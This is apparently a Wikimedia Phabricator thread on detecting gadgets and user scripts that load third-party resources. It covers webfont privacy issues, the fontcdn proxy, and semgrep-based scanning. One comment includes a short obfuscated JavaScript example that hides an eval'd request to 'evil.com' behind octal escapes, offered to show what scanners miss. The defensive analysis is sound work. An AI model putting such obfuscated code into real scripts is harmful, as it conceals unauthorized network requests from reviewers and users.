Can the stats table be split by userscripts and gadgets? The later certainly have far more exposure, esp when counting userscripts of defunct users in the user table.

In T335892#8824658, @Xaosflux wrote:

Can the stats table be split by userscripts and gadgets? The later certainly have far more exposure, esp when counting userscripts of defunct users in the user table.

I plan to put the data regarding user scripts in a separate section (see the very bottom of the description)

User scripts loading third-party resources
TBD

@Xaosflux, is that what you were asking for? Or did suggest that the User script stats be put in the same stats table, under separate columns?

Either a separate column, or a separate table is fine; I think there may be some exceptions to add as well, for example the page https://meta.wikimedia.org/wiki/MediaWiki:Gadget-common-special-search.js is on the list above, pointing to a yandex.ru link, however it isn't actually importing that, that is inside a comment - not sure how much effort would be needed or what the expected benefit of excluding comments would be

In T335892#8824828, @Xaosflux wrote:

Either a separate column, or a separate table is fine; I think there may be some exceptions to add as well, for example the page https://meta.wikimedia.org/wiki/MediaWiki:Gadget-common-special-search.js is on the list above, pointing to a yandex.ru link, however it isn't actually importing that, that is inside a comment - not sure how much effort would be needed or what the expected benefit of excluding comments would be

A separate table makes sense to me as well. I've adjusted the description accordingly. I agree that in some cases comments create some noise in the total count. I haven't figured out a much cleaner way to discard comments yet since I am using data global-search.toolforge.org. For now I am considering tweaking a copy of mwgrep to filter out comments and other patterns of noise but I am open to suggestions.

In T335892, @sguebo_WMF wrote:

It is also good to note that Google fonts are among the most loaded external resources.

Yes, one important learning here is that webfont support is strongly desired, sometimes surely for mere "fun" reasons ("I think it looks prettier"), but also for substantial reasons. e.g. T166138

This desire was why a "webfont" component was created (way back in the mists of time), but due to changing priorities it morphed into a i18n system (ULS) and staffing and mandate does not allow that team to actually address webfont-related issues.

The alternative was the GFont proxy hosted on WMCS (by a volunteer who has signed the NDA), but that's nixed by the Privacy Policy that due to some technical—legal brainfart treats the HTTP User-Agent header as directly equivalent to your social security number and bank account number. GFonts needs that header to send you the right font file (i.e. the standard protocol content negotiation), so it cannot work without it, but everything else is stripped from the request.

The stats gathered above show: 1) that there is a genuine unmet need for webfonts, and 2) work on the Privacy Policy and a Third-Party Resources policy should have enabling this use case a primary concern (within necessary strictures).

We need some way to, safely, enable a small number of webfonts by default on a project (including for non-logged in users). Locked down to interface admins, or even needing a site-request like other config, with explicit whitelisting of each font, run through an anonymizing proxy that puts User-Agent headers into buckets, etc. as necessary; but some way to support the use case.

It's orthogonal to this task, but the stats gathered here should inform secondary learnings like this, not least in terms of what the goals of the TPR process should be.

Toolforge does already have a google fonts proxy: https://fontcdn.toolforge.org/

We just need to convince people to use that instead.

In T335892#8900282, @Ladsgroup wrote:

Toolforge does already have a google fonts proxy: https://fontcdn.toolforge.org/

We just need to convince people to use that instead.

Toolforge is considered third-party (even if the maintainer has signed the NDA), and the Privacy Policy considers the User-Agent header to be PII that cannot be sent to Google even if everything else is stripped. See T166138. And, yes, I did check with WMF Legal. It’s currently Catch 22-impossible.

Either the Orivacy Policy needs to permit a risk-assessment based softening for HTTP headers used for content negotiation, or the WMF (not volunteers) need to implement a Google Fonts-alike in production (not Toolforge/WMCS). There are no other options open that I’ve been able to identify.

In T335892#8900284, @Xover wrote:

In T335892#8900282, @Ladsgroup wrote:

Toolforge does already have a google fonts proxy: https://fontcdn.toolforge.org/

We just need to convince people to use that instead.

Toolforge is considered third-party (even if the maintainer has signed the NDA), and the Privacy Policy considers the User-Agent header to be PII that cannot be sent to Google even if everything else is stripped. See T166138. And, yes, I did check with WMF Legal. It’s currently Catch 22-impossible.

While it's not great, it's still much better to hit toolforge than hitting Google.

In T335892#8900342, @Ladsgroup wrote:

In T335892#8900284, @Xover wrote:

In T335892#8900282, @Ladsgroup wrote:

Toolforge does already have a google fonts proxy: https://fontcdn.toolforge.org/

Toolforge is considered third-party (even if the maintainer has signed the NDA), and the Privacy Policy considers the User-Agent header to be PII that cannot be sent to Google even if everything else is stripped. See T166138. And, yes, I did check with WMF Legal. It’s currently Catch 22-impossible.

While it's not great, it's still much better to hit toolforge than hitting Google.

I don't disagree. But the Privacy Policy does, and WMF Legal (and whoever they have for technical advice) does. And AIUI the third-party resources policy currently does treat WMCS as third-party (I may be wrong), meaning it requires opt-in consent, meaning we can't enable fonts from there by default.

See T209998 for a different example. Note that the alternatives proposed on that task requires there to be some team at the WMF whose responsibility it is to add fonts. The only such team is the Language team. The Language team does not have the resources to fulfill such requests, and has been scoped down to only deal with i18n issues (i.e. the workarounds are outside their current scope so they can't spend time on it).

So… we can't have webfonts through volunteer tools (fontcdn) due to the Privacy Policy, and we can't have fonts installed in WMF production because it's outside every team's scope. In other words: Catch 22. It's tearing-my-hair-out level frustrating, but that's where we are.

I'm kinda derailing this task now (sorry), so my main point is that since we now have the stats above, and they point out fonts as among the main third-party resources people load, we should make sure we try to address that in some way (find a reasonable way to enable that use case without unreasonably raising the risk). It's currently bright-line prohibited, but the fontcdn solution has properties that reduce that risk to what I assert is an acceptable level. It's just not zero, which is what the current bright-line policy requires.

In T335892#8900284, @Xover wrote:

In T335892#8900282, @Ladsgroup wrote:

Toolforge does already have a google fonts proxy: https://fontcdn.toolforge.org/

We just need to convince people to use that instead.

Toolforge is considered third-party (even if the maintainer has signed the NDA), and the Privacy Policy considers the User-Agent header to be PII that cannot be sent to Google even if everything else is stripped. See T166138. And, yes, I did check with WMF Legal.

Is there a phab task where you discussed this with WMF Legal? I wonder if WMF Legal might reconsider the User-Agent header as PII for Chrome browser at least, given Google-Chrome-User-Agent-Deprecation.

In T335892#8900405, @kostajh wrote:

Is there a phab task where you discussed this with WMF Legal?

It was email direct to privacy@ (tagged 36012 in their Zendesk, answered by Aeryn).

my main point is that since we now have the stats above, and they point out fonts as among the main third-party resources people load, we should make sure we try to address that in some way (find a reasonable way to enable that use case without unreasonably raising the risk). It's currently bright-line prohibited, but the fontcdn solution has properties that reduce that risk to what I assert is an acceptable level. It's just not zero, which is what the current bright-line policy requires.

For the specific case of fontcdn, I'd like to note that the issue of sharing User Agent information with Google would still remain, as it was pointed out by others in the past (T166138#7228181). That being said, I agree with the need to explore "a reasonable way to enable that use case without unreasonably raising the risk" in light of the data above. Speaking of that, the conversation about the policy draft is now open with some initial questions, including whether WMCS-hosted resources (eg: fonts) should be treated as third-parties: https://meta.wikimedia.org/wiki/Talk:Third-party_resources_policy

Hope to hear your thoughts there!

In T335892#8900342, @Ladsgroup wrote:

Toolforge is considered third-party (even if the maintainer has signed the NDA), and the Privacy Policy considers the User-Agent header to be PII that cannot be sent to Google even if everything else is stripped. See T166138. And, yes, I did check with WMF Legal. It’s currently Catch 22-impossible.

While it's not great, it's still much better to hit toolforge than hitting Google.

Apparently this toolforge tool still forwards user-agents to google, because the google fonts vary by user agent. I suggest we adapt that tool to simply override the user agent, as it is no longer required to vary on user-agent as all modern webbrowsers support woff and woff2.

In T335892#8905324, @TheDJ wrote:

Apparently this toolforge tool still forwards user-agents to google, because the google fonts vary by user agent. I suggest we adapt that tool to simply override the user agent, as it is no longer required to vary on user-agent as all modern webbrowsers support woff and woff2.

Should that be a dedicated task (under Tools and Privacy) about fontcdn? As too often I have no idea where its source is located though...

Definitely would be pro-overriding the user-agent for fontcdn (and cdnjs) — that would make it significantly easier to argue that they should be considered ok to allowlist for third-party resources.

In T335892#8983929, @Aklapper wrote:

[…] As too often I have no idea where its source is located though...

AIUI it's mostly custom config on the proxies (by special arrangement), so there's no real code to speak of. But @zhuyifei1999 can presumably clarify.

In T335892#8991680, @Htriedman wrote:

Definitely would be pro-overriding the user-agent for fontcdn (and cdnjs) — that would make it significantly easier to argue that they should be considered ok to allowlist for third-party resources.

It's logged above, but just for clarity: the cdnjs UA issue is in T210959.

To get the data on gadgets loading in much quicker way, I'm exploring a different approach that requires fewer steps. The idea is to have a script that can:

1. Find all pages with javascript content model and namespace 8 in replicas
2. Scan their content using the Mediawiki API to detect third-parties
3. Build a table associating wiki project, gadget, and third-parties.

The detection of third-party resources is still funky and I'd need to fine-tune the script but the initial version of the script generates the markdown table below (and full table with ~2800 entries is available in F55305255#7434).

@sbassett, as a next step I'd probably use your idea of detecting TPR use by searching for things like import, importScript, mw.loader.load, xmlhttprequest, jquery.load, url for css, et al. Glad to hear if you think there's a cleaner way to avoid false positives.

The detection of third-party resources is still funky and I'd need to fine-tune the script but the initial version of the script generates the markdown table below.

I think you would have to do quite a lot of post processing. All 6 of the entries in that table are false positives (the second to last entry is a bit debatable since the code would do a third party load, however as far as i can tell it is impossible to trigger said code as the file is never loaded, which makes sense as all those urls are for toolserver, which is long dead. At the same time, maybe its desired to know about such pages even if the code is never executed). At the same time, such an approach has false negatives such as ace:MediaWiki:Gadget-GoogleTrans.js which does indeed load third pary resources (in fairness the script would have to be quite complex to detect this example)

I feel like something like semgrep would maybe be applicable here, since this is essentially static analysis.

In T335892#9891420, @sguebo_WMF wrote:

@sbassett, as a next step I'd probably use your idea of detecting TPR use by searching for things like import, importScript, mw.loader.load, xmlhttprequest, jquery.load, url for css, et al. Glad to hear if you think there's a cleaner way to avoid false positives.

Makes sense. We'd want to ensure that we've got all of the various standard ways to load TPR covered with whatever functions etc. that are allowed. Unfortunately, this won't catch certain things like brainfu**-ified code or random obfuscations e.g.

x = new XMLHttpRequest();
var a = "\157\160\145\156";
var b = "\150\164\164\160\163\72\57\57";
var c = "\56\143\157\155";
eval("x." + a + "('GET', " + b + "'evil'" + c + ")");`)
x.send();

But that's a slightly different problem IMO as it involves intentionally malicious actors, which shouldn't really be most Gadget developers/users.

I feel like something like semgrep would maybe be applicable here, since this is essentially static analysis.

That could work as semgrep does a few nice things out of the box, like ignoring anything in comments. We have a basic "http leaks" semgrep rule that works like this, but is likely too simple for this task. Still, it could be expanded upon and semgrep could be run from a basic python CLI for additional control/processing, which we've done before.

Thanks for you input @Bawolff and @sbassett. So far the script outputs ~2800 potential candidates (See table in F55305255#7434). I'll see how to leverage semgrep to improve the filtering logic and reduce false positives.

sguebo opened https://gitlab.wikimedia.org/repos/security/wikimedia-gadgets-scan/-/merge_requests/1

Improved heuristics for detecting TPRs in gadet code

Hey all -

I did a little experimenting with a semgrep-based version of @sguebo_WMF's script. It's available here, for now, as a personal gist:

https://gist.github.com/sbassett29/079a750c1e822e61b10db62f6ac0ce95

We'd need to clean up the python a bit and write some tests for the semgrep yaml files if we wanted to incorporate this into any official code or use it in any sort of production capacity. But I think it works fairly well. Anyhow, some notes:

1. There are three separate semgrep rules for now - one for pure external urls (but only in code), one for css external resource sinks and one for javascript external resource sinks. These should be fairly obvious in the gist and I think the patterns, etc. should be fairly self-explanatory for anyone familiar with vaguely regular-expression-style syntax. Happy to walk through these though for anyone with questions.
2. The three different semgrep rules get us somewhere close to the truth re: external resource usage within CSS and JS files under the MediaWiki namespace. But there are plenty of caveats:
   1. It's easy to find obvious URL strings, but that won't cover all external resource-loading sinks as URLs can be abstracted via variables, etc. So there are always going to be false positives. When we find these, we can likely add them to the semgrep rules' pattern-not-regex keys.
   2. Semgrep isn't smart enough by itself to understand nested file-importing within the context of MediaWiki JS pages. Or tell us the value of variables as it pattern-matches them within various external resource-loading sinks (e.g. mw.loader.load(url)), so these would have to be audited manually for now.
   3. Semgrep doesn't like parsing certain JS files :/ If you run the cli in the standard mode (non-table) it should display any errors at the beginning for files it was unable to parse. This really only surfaced for JS files, and it was really only a dozen or so files, which could be manually audited.
   4. There are likely some redundant findings. For example, the CSS rule finds url() and @import calls, but all of the @import calls seem to be of the format: @import url(...)
   5. The python cli should be able to be run anywhere with an internet connection and python 3, e.g. no toolforge dependencies. Caching all local files does take 2+ hours though, in my experience (hence why there's a FILE_RECACHE global that should be set to False most of the time).

That being said, this seems to get us to a better place than regular expressions alone. I've run the script against recent versions of various CSS and JS pages from the projects and found some interesting results:

1. CSS sinks - 96 findings - P65553
2. JS sinks - 3,351 findings - P65554 (many of these are likely false positives)
3. Raw external URLs - 14,992 findings (many of these are false positives, used to create clickable links, etc.)
4. Over 26,606 files total from all of the projects